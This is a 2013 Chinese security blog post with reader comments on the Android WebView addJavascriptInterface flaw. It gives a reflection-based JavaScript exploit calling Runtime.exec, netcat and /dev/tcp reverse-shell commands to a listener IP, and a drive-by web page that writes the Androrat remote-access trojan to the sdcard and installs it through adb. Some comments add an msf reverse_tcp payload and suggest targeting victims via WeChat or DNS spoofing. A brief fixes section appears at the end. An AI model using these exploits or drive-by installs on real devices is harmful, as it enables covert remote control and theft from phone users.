WebView中接口隐患与手机挂马利用

livers 2013-09-04 15:21:00

0x00 背景


在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。

0x01 检测利用


一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。

在android 代码程序一般是这样使用:

settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");

这里可以用

apk->zip->dex->dex2jar->jdgui->java

代码来查找。

但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)

在smali代码中 则是类似下列的代码:

const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

当检测到存在上述代码时,可以进行进一步验证利用:

在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;

<script>
function execute(cmdArgs)
{
    return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>   

利用java的exec执行linux的shell命令。

0x02 远程获取shell


套用yuange的一句话:Poc远远小于exp的价值。

利用addJavascriptInterface实现shell.

Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。

使用了java的反弹shell方法

//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

在Nexus One 4.3的android虚拟机 并未成功弹出shell.

后发现android中可执行 nc命令 (阉割版的不带-e的nc)

这里用了nc的另外一种弹shell的方法完成

Exp 内容:

<script>
function execute(cmdArgs)
{
return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");
</script>

// 注 xxx 保护隐私用xx代指。

效果如下 

当然可以用远程IP地址。

0x03 远程挂马


毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。

再升华下,实现网页挂马。

Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。

这里以androrat远控木马为例。

实现网页挂马

大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。

<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
} 

var armBinary = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4x80x22x61xE3xAAx42x4DxC7x22x86x4Ax91xA8x14xC4x0Ax56x7CxC2x27x68x1Cx39x57x0Ax53x11x3Bx63x37x06xFEx01x33x1Bx43x17x36x56xFEx07xACx6Dx9FxCBx1Dx3Dx
……
var patharm = "/data/app/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
execute(["chmod"," 755 ","/data/app/Androrat.apk"]);

这样存在几个问题:

andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)

/data/app/ 目录存在权限问题,需要root,chmod 也是同理。

Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以 通过调用隐藏api安装。

经过进行fuzz实验,完成了挂马功能:

<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
} 

var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4

var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94

var armBinary3=
var armBinary4=
……
var patharm = "/mnt/sdcard/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
//alert(a);
execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
alert("over !!!");
</script>

将androrat.apk拆分。

利用echo写入到sdcard中(此目录可读可写 不可执行)。

利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。 

Androrat 成功安装,这里使用了androrat的debug=true模式。

成功连接到控制端。

0x04 修复


1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。

2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。

3、控制相关权限或者尽可能不要使用js2java的bridge。

Link:http://developer.android.com/reference/android/webkit/WebView.htmlhttp://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdfhttp://50.56.33.56/blog/?p=314

评论

心伤的胖子 2013-09-04 15:39:43

我来消灭 0 留言,顶 livers

L

livers 2013-09-04 15:43:37

多谢 心伤的胖子

心伤的胖子 2013-09-04 15:48:36

真的需要这样的精品文章啊

L

livers 2013-09-04 16:12:58

:) 过奖了

G

gainover 2013-09-04 16:36:22

强烈支持~ 虽然我是nokia。。等我搞个android的手机,照着你的文章玩玩。。

X

xsser 2013-09-04 16:38:13

偶喜欢!!!

R

rayh4c 2013-09-04 16:56:27

赞下,反弹shell这个搞了好久没搞定,应该可以交叉编译搞个带e参数的nc.
应该可以直接写个小点的download&exec的ARM BIN。
另外android.permission.INSTALL_PACKAGES有这个权限且有漏洞的APK应该可以静默安装。

L

livers 2013-09-04 17:06:17

多谢rayh4c,原来你在搞android 这一块。你有我QQ 多交流呀
android.permission.INSTALL_PACKAGES api16以后 好像就不行了。
是啊,300k的马,但是某人要看挂马啊!!!

L

livers 2013-09-04 17:09:15

博士先 girlfriend!!

L

livers 2013-09-04 17:37:48

闻到了新一轮的腥风血雨味道

龙臣 2013-09-04 17:42:32

牛逼、

B

Bincker 2013-09-04 18:32:22

浏览器厂商的又一次地震!

L

livers 2013-09-04 19:23:00

不止包括浏览器,一些界面漂亮的app应用基本上都用了这个函数

R

rayh4c 2013-09-04 19:36:37

用webview了的都有可能吧,QQ,微信啥的 :)

L

livers 2013-09-04 19:41:21

是啊 不少应用都做了过滤 可 腾讯这次囧大了。

I

insight-labs 2013-09-04 19:56:36

挂马可以先用msf的
payload/android/shell/reverse_tcp

L

livers 2013-09-04 20:34:35

没用过msf 的android模块 ,android下的这个java静态类的getRuntime的exec 有些限制的。试试看了

P

pysolve 2013-09-04 20:52:56

为什么要公布为什么要公布为什么要公布

M

Mapconf 2013-09-04 22:27:36

果断顶了,也稍稍了解到为什么有时候网速会飙到500k/s

C

Chu 2013-09-05 09:44:43

帅爆!

H

horseluke 2013-09-05 10:45:08

大杀器一枚...

M

My5t3ry 2013-09-05 11:08:11

这个必须顶

G

GaRY 2013-09-05 11:15:48

这个厉害,过来顶一下。
多挖挖这种基础组件里的问题,估计不止一个

L

livers 2013-09-05 11:18:19

我在看django book里面看到你了 哈

孤独雪狼 2013-09-05 11:44:13

碉堡了

9

9k九块钱 2013-09-05 12:27:56

顶顶,太强悍!

I

Ivan 2013-09-05 12:50:21

碉堡了

P

parisy4o 2013-09-05 13:15:46

赞,乌云又要因此刷屏了!

G

GaRY 2013-09-05 13:41:04

翻译那个?

S

sky 2013-09-05 14:44:13

乌云又要刷屏了

W

Windy 2013-09-05 15:09:07

刷屏的节奏。。

C

Creturn 2013-09-05 16:41:33

我测试了下,但是不能根据提示,发现不能调用静态方法forName, 求解。
错误信息:
D/dalvikvm(19767): GetMethodID: not returning static method Ljava/lang/Class;.forName (Ljava/lang/String;)Ljava/lang/Class;

流星warden 2013-09-05 16:44:33

啊呜。。。。乌云早就刷频了。。。

╰╃清風 2013-09-05 17:15:08

顶 好帖,支持下

齐迹 2013-09-05 18:22:22

不明觉厉啊!

农夫娃哈哈 2013-09-05 18:33:56

这个可以顶

海盗湾V 2013-09-05 18:43:53

顶一下!

X

xsser 2013-09-05 19:08:31

可以在这个类里进行判断是否有权限调用

廷廷 2013-09-05 20:08:57

学习了顶

L

livers 2013-09-05 20:23:22

在类的构造方法中加入下列代码:
private Worker(){
SecurityManager manager =new SecurityManager();
if(manager!=null){
manager.checkPermission(new ReflectPermission("suppressAccessChecks"));
}
}

C

Creturn 2013-09-05 23:44:57

妹的,把小于4.2的sdk全试验了一遍每一个成功,同样的debug信息,都是提示没权限访问forName静态方法,人品问题?

H

hack雪花 2013-09-05 23:47:45

原来如此

C

c2y2 2013-09-06 08:55:09

学习了,mark.

T

theduyao 2013-09-06 10:28:40

马克

O

Ocean 2013-09-06 15:51:32

马克

小乐天 2013-09-06 15:56:01

mark

A

A.L 2013-09-08 18:22:04

heap spray基本不受aslr影响,也可以说是对抗aslr的一种有效手段。

X

xsser 2013-09-08 18:31:05

这个和你说的毫无关系啊

A

A.L 2013-09-08 18:43:35

针对文中一个细节问题
“Android 4.1已经加入ASLR技术,堆喷射之类不再有效。”

L

livers 2013-09-08 22:16:03

:) ,写的不严谨。不过heap spray用ROP绕dep要利用未启用aslr模块获取gadget ,还是增加了些难度

小手冰凉 2014-01-06 00:19:21

静默安装还需研究

X

xiaoxin 2014-01-26 10:52:33

只是单一调用webview的应用,能直接针对webview就好了,对内嵌webview的就是一场风暴啊。建立wifi热点,dns欺骗,能搞下一片手机啊。

路人甲 2014-03-19 19:28:27

I get the same problem. Did you solve it?
D/dalvikvm(7828): GetMethodID: not returning static method Ljava/lang/Class;.forName (Ljava/lang/String;)Ljava/lang/Class;

小贱人 2014-03-25 16:15:05

学习

路人甲 2014-03-28 22:50:10

学习!!

B

B1uH4ck 2014-05-23 16:46:17

如果要定向打某人的话用这个加上微信朋友圈,NICE 妥妥的

L

livers

mov esp,0 jmp esp crash.....

twitter weibo github wechat

随机分类

APT 文章:6 篇
SQL注入 文章:39 篇
网络协议 文章:18 篇
Windows安全 文章:88 篇
运维安全 文章:62 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录